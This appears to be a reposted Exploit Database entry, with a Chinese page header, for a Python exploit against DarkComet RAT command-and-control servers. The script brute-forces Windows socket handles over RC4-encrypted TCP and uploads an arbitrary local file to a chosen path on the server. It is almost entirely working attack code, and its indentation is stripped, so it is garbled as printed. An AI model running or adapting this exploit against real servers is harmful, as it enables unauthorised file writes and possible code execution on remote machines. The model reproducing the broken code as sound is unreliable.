DarkComet (C2 Server) – File Upload

Exploit Database
120 阅读

作者： Pseudo Laboratories

日期： 2018-01-15
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/43847/

#!/usr/bin/env python3

# EDB Note: Source ~ https://gist.github.com/PseudoLaboratories/260b6f24844785aacc1e2fb61dd05c01/259944bd94a0d289ef80b9138c1e3f97a97aa9cd

from time import sleep

from socket import socket, AF_INET, SOCK_STREAM, error

from re import search

from Crypto.Cipher import ARC4

from binascii import hexlify, unhexlify

import argparse

def good(text):

print('[+] ' + text)

def bad(text):

print('[-] ' + text)

def normal(text):

print('[*] ' + text)

def decrypt(data, key):

return ARC4.new(key).decrypt(unhexlify(data)).upper()

def encrypt(data, key):

return hexlify(ARC4.new(key).encrypt(data)).upper()

def upload(domain, port, key, local, remote, test):

remote = remote.replace('\\', '/')

f = open(local, "rb")

client = socket(AF_INET, SOCK_STREAM)

client.settimeout(5.0)

client.connect((domain, port))

try:

idtype = decrypt(client.recv(12), key)

if idtype != b'IDTYPE':

bad('Key seems to be wrong!')

return

filetransfer = encrypt('FILETRANSFER111|%s' % test, key)

client.send(filetransfer)

client.recv(3)

client.send(b'FILEBOF' + remote.encode('utf-8') + b'|111')

client.recv(1)

content = f.read()

current = 0

while (current + 1024) < len(content):

current += client.send(content[current:current+1024])

client.recv(1)

client.send(content[current:len(content)])

client.recv(1)

client.send(b'FILEEOF')

client.recv(1)

client.send(b'FILEEND')

client.close()

return True

except error as e:

client.close()

return False

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='bruteforce socket handle and upload arbitrary files to DarkComet servers')

parser.add_argument('--port', '-p', dest='port', type=int, default=1604, help='port of the DarkComet server')

parser.add_argument('--key', '-k', dest='key', default='#KCMDDC51#-890', help='password of the DarkComet server')

parser.add_argument('--start', '-s', dest='start', type=int, default=0)

parser.add_argument('--end', '-e', dest='end', type=int, default=2400)

parser.add_argument('domain', help='domain name/ip of the DarkComet server')

parser.add_argument('local', help='file name of the local file')

parser.add_argument('remote', help='remote relative file path')

args = parser.parse_args()

for i in range(args.start, args.end, 4):

# Increment by 4 because Windows seems to only

# generate socket handles that are multiples of 4

normal('Trying ' + str(i))

if upload(args.domain, args.port, args.key, args.local, args.remote, i):

good('Uploaded successfully!')

break

sleep(2)